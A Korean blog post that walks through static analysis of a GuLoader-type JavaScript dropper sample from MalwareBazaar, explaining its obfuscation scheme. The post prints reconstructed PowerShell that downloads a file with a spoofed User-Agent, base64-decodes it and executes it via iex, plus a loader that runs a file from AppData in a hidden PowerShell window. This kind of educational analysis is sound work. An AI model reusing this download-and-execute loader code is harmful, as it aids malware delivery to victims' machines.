dropper(js확장자) 분석 (edward-social-lactose-zebra)
안녕하세요. 이번에 악성코드 분석을 주제로 프로젝트를 진행하게 되어 포스팅을 쓰게 되었습니다.
프로젝트 내용 외에도 포스팅 다시 꾸준히 올리겠습니다.. ㅎ

먼저 vm에서 해당 악성코드의 소스코드를 다운받았습니다.
다운로드는 MalwareBazaar에서 js 업로더로 되어있는 파일을 다운로드 받았습니다.
hash값은 e692433247c3e15a91fee98d978822ef6aaad27bb24feb0851a7bbb95655d870e입니다.
MalwareBazaar | Checking your browser
Please confirm that you are not a robot by clicking on the checkbox below
bazaar.abuse.ch
한번 다운로드받아서 따라해보시는걸 추천드립니다!
GuLoader는 암호화된 쉘코드를 원격에서 받아 메모리에서 복호화, 실행하는 쉘코드 기반 다운로더입니다.
이러한 파일은 js로 실행시 소스코드 안의 함수들이 실행되면서 컴퓨터가 감염될 수 있기 때문에 실행되지 않도록 파일의 확장자를 바꾸고 인터넷 연결을 끊는 것이 필수적입니다.
저는 .txt파일로 바꿔서 열어보았습니다.

열어보니 //로 주석처리된 문장이 엄청 많았고 , 처음에 Var Museumise로 선언된 배열이 하나 있습니다.

쭉 내리면서 보니 주석처리 되지 않은 문장이 하나씩 보이는데, 변수 Healths도 난독화가 되어있어 이해하기 힘들게 되어있습니다.
일단 먼저 주석처리 된 문장들을 없애야 할 것 같아 파이썬으로 코드를 짰습니다

지피티니의 도움을 받아 공백과 주석~탭문장까지를 제거해주는 코드를 작성하였습니다.
결과적으로


처음엔 다양한 변수선언하는 느낌이었는데 내려보니까 난독화가 되어있어서 하나하나 풀어보면서 무슨 의미인지 풀어봐야 할 것 같습니다.
먼저 처음에 변수가 많이 선언되어있는데 대부분은 난독화를 위한 변수 선언들이고 뭔가 동작할 것 같은 부분을 찾아보겠습니다.
1.악성 문자 저장

해당 두 줄은 파일을 쓰고, 그 파일을 읽어서 다른 프로그램을 실행하려는 준비를 하려는 용도라고 해서 스크립트 안에 해당 변수를 검색해보았습니다.

Systemleve.GetSpecialFolder(2)는 윈도우의 특별한 폴더 경로를 되돌려주는 명령어로 %TEMP%의 경로를 반환합니다.
Skeerbe에는 %TEMP%의 경로인 C:\Users\Username\Appdata\Local\Temp형식에 \Slidehaj를 붙인
C:\Users\Yoonseo\AppData\Local\Temp\Sildehaj
가 됩니다. 그 뒤,

이런 함수가 있어서 보니 아래쪽에 Cahowsjor가 선언되어있네요

선언된 내용을 보니 텍스트 파일을 만들고 쓰는 함수입니다.
중간 점검을 해보면 여태까지 악성코드가 한 일은 %TEMP%\Slidehaj에 "112|111|119|101| ... " 같은 텍스트를 저장한 것입니다.
여기서 중요한 것은 112,111,119 ..의 숫자들이 ASCII 코드 값으로 변환하면

powershell.exe가 나온다는 것입니다.
이 텍스트 안의 숫자들을 문자로 변환하는 함수가 따로 있을건데, Skeerbe안에 경로가 담겨있기 때문에 skeerbe를 소스코드에서 검색해주었고, Hejrenbs를 발견했습니다.

Hejrenbs()함수는 Skeerbe경로에서 내용을 읽어와 저장하는데

Galvanoton에서 Hejrenbs를 읽고 Deliberere에서 |를 제거한 뒤 Deepened에 숫자로 저장하는 형태입니다.
즉 아까의 119|112 이런 형태로 저장되어있던 powershell.exe 문자가 아스키코드값으로 변환되어서 deepened에 powershell.exe로 저장되어있는 형태입니다.

코드의 마지막 즈음에 이렇게 사용이 되네요. 이 명령은 최종적으로 페이로드를 실행하는 역할을 하는 듯 합니다.
이제 다시 돌아가보겠습니다.
처음 코드를 볼때부터 가장 수상했던 변수가 있는데 바로 Healths입니다.


누가봐도 난독화가 되어있는 문장들을 계속 Healths 변수에 추가하는게 보였는데 이걸 풀면 확실하게 소스코드가 뭘 하려는지 보일 것 같습니다.
여기 Baros가 난독화 해제 함수로 사용되는데 문자열의 3,7,11,15 .. 번째 인덱스를 뽑아서 이어붙이는 방식입니다.
Tebor 함수가 정의되어 있는데


위의 두 사진을 보면 Tebor는 전달받은 문자열을 Powershell 코드로 실행시켜버리는 함수입니다.
(x xixx exxxx를 Baros로 해석하면 iex가 됨)

난독화 해제를 지피티와 함께 겨우겨우 해서 한번 정리해보겠습니다.
2.스크립트 본문
# WebClient 객체 생성용 문자열
$germ = "Net.WebClient"
# User-Agent 문자열 준비
$defaulter = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0"
# TLS 1.2 강제
$vitilindk = "Tls12"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# User-Agent 헤더 이름
$andels = "uSer-ageNT"
# WebClient 객체 생성
$Global:pandiabol = New-Object System.$germ
# 헤더 설정
$pandiabol.Headers[$andels] = $defaulter
# 다운로드 메서드 조립 ("DownloadFile")
$pelmanis = "DownloadFile"
# 다운로드 경로 변수
$global:BeNve = $env:APPDATA + "\Obsecrat.Fre"
$cathismaun = $benve # 저장할 파일 경로
# URL 분해 변수 (원문에선 $servit, $wakero 등으로 분할되어 있음)
$servit = "http://..." 같은 URL
# 여기서는 난독화 조각만 있어서 정확한 URL은 복구 불가
# --- 다운로드 수행 ---
$pandiabol.DownloadFile($servit, $cathismaun)
# --- 파일 확인 루프 ---
$Global:fant = Test-Path $cathismaun
[Threading.Thread]::Sleep(4000)
$Global:fant = Test-Path $cathismaun
# 루프 카운터 관련
$Global:Klas = $delprobl
$Global:Agertidsel = $Global:Scandalisi++ % $Wakero.Count
# --- 페이로드 처리 ---
# 파일 읽기
$Global:Arcubalis = Get-Content $cathismaun
# Base64 디코딩
$Global:Gallup = [System.Convert]::FromBase64String($Arcubalis)
# ASCII 문자열로 변환
$Global:afGi = [System.Text.Encoding]::ASCII.GetString($Gallup)
# 부분 문자열 추출
$Global:diso = $afGi.Substring($deta, $satrap)
# 최종 실행
# Tebor $diso
먼저 $germ은 Global:pandiabol에서 New-Object System.Net.WebClient가 됩니다.
$defaulter도 pandiabol.headers[$andels]에 Mozilla~~로 들어가게 되는데 이건 결국 웹 브라우저의 HTTP 요청 헤더에 firefox인 척 가짜 브라우저 값을 담는 변수가 됩니다.
최종적으로 $andels까지 합쳐지면 아래와 같은 형태의 변수가 됩니다.
$global.pandiabol = New-Object system.Net.WebClient
$pandiabol.Headers[User-agent] = Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
pandiabol은 WebClient 객체가 됩니다.
다음으로 $pelmanis는 그냥 문자열로 DownloadFIle 을 담고있고,
$cathismaun은 다운로드된 파일이 저장될 실제 경로로
$global:BeNve = $env:APPDATA + "\Obsecrat.Fre"
로 현재 사용자 프로필의 AppData 경로에 \Obsecrat.Fre라는 폴더를 만듭니다.
결과적으로는 $pandiabol.DownloadFile($servit, $cathismaun)의 형태로
원격 서버인 servir에서 악성파일을 받아 AppData에 저장하는 방식입니다.
$servit의 경우에는 malwarebazaar에서 안전한 악성코드를 다운받은거라 실제 URL이 저장되어 있지는 않았던건지 실행 중 외부에서 동적으로 주입되는건지 링크가 보이진 않았습니다.
그 뒤 $fant를 통해 다운로드가 성공했는지 확인합니다.

라고 하는데 정리를 해보면
Baros로 복호화된 내용을 추출해서 $servit에서 악성 코드를 다운로드 받은 뒤 다시 디코딩하고 ascii로 변환하는 과정을 통해 최종적으로 2차 페이로드를 실행하는 코드조각입니다.
이제 거의 끝자락인데요
var Blaastempl = "$Loggiad=$env:appdata+'\\Argum';
$Porkie=(Get-Item $Loggiad).OpenText().ReadToEnd();
$Bejle153=$Porkie[4117..4119] -join '';
.$Bejle153 $Porkie"
이런 수상한 문장이 있어서 보니 이것도 Powershell코드로 $Loggiad에 Appdata+\Argum경로를 저장한 뒤 그 파일의 내용을 $Poikie에 읽어서 넣습니다.
그리고 $Bejie153에 Poikie의 4117-4119 문자열을 넣습니다(iex가 들어갈 확률이 높습니다.)
또 그 문자열을 활용해 Porkie를 실행하는 코드입니다.
var Funm="explorer.exe"
while(Assuasive==0) {
var Indoktr = Config.Windows();
Assuasive = Indoktr.Count
if (Assuasive == 0 && Laminab==0){
Config.ShellExecute(Funm,"c:\windows\system32\svchost.exe","","open",0);
Laminab++;
}
}
이부분은 explorer.exe에서 사용자가 탐색기를 안띄운 상태이면서 악성코드가 실행중이 아닐때 scvhost.exe를 실해하는 백도어/감염유지용 코드입니다.
이제 가장 핵심적인 부분입니다.

저희가 아까 Deepended안에 powershell.exe가 저장되어있는걸 확인했습니다.
해당 코드에서는 프로그램 Deepended 즉 powershell.exe를 실행하면서 인수로 Blaastempl을 전달하고, 창을 보이지 않게 실행합니다.
인수 Blaastempl에는 Argum파일을 런치하려는 로더코드가 담겨있습니다.
이상으로 길고 길었던 로더에 대한 정리를 마치겠습니다.
악성코드를 처음 분석해보는데 생각보다는 쉬우면서도 난독화땜에 헷갈리는 부분이 많아 지피티가 없었다면 시작도 못했을 것 같네요. 처음에 선언된 변수들이 대부분 안쓰는 난독화용 변수들인줄 알았는데 전부 쓰인다는게 좀 신기한것같았네요 .
생각보다 재밌어서 앞으로의 프로젝트가 기대가 됩니다.
오늘 살펴본 업로더를 요약해보자면
1. 특정 경로에 powershell.exe 문자열을 저장해둔다.
2. 난독화된 문자들 속에서 외부링크에서 파일을 저장한 뒤 그걸 다시 실행하는 2차 실행 구조이다.
3. Argum에서는 외부링크에서 다운로드 받은 2차 악성코드에서 생성한 파일일 확률이 크다(코드조각 내에는 따로 저장하는 내용이 없음)
입니다.
다음에는 실제로 동작 가능한 악성코드를 vm에서 분석해보고 싶네요. 중간중간 흐름이 끊겨서 아쉬운 부분도 있고, 동적 분석도 해보고 싶네요.
이상으로 포스팅을 마치겠습니다. 읽어주셔서 감사합니다~
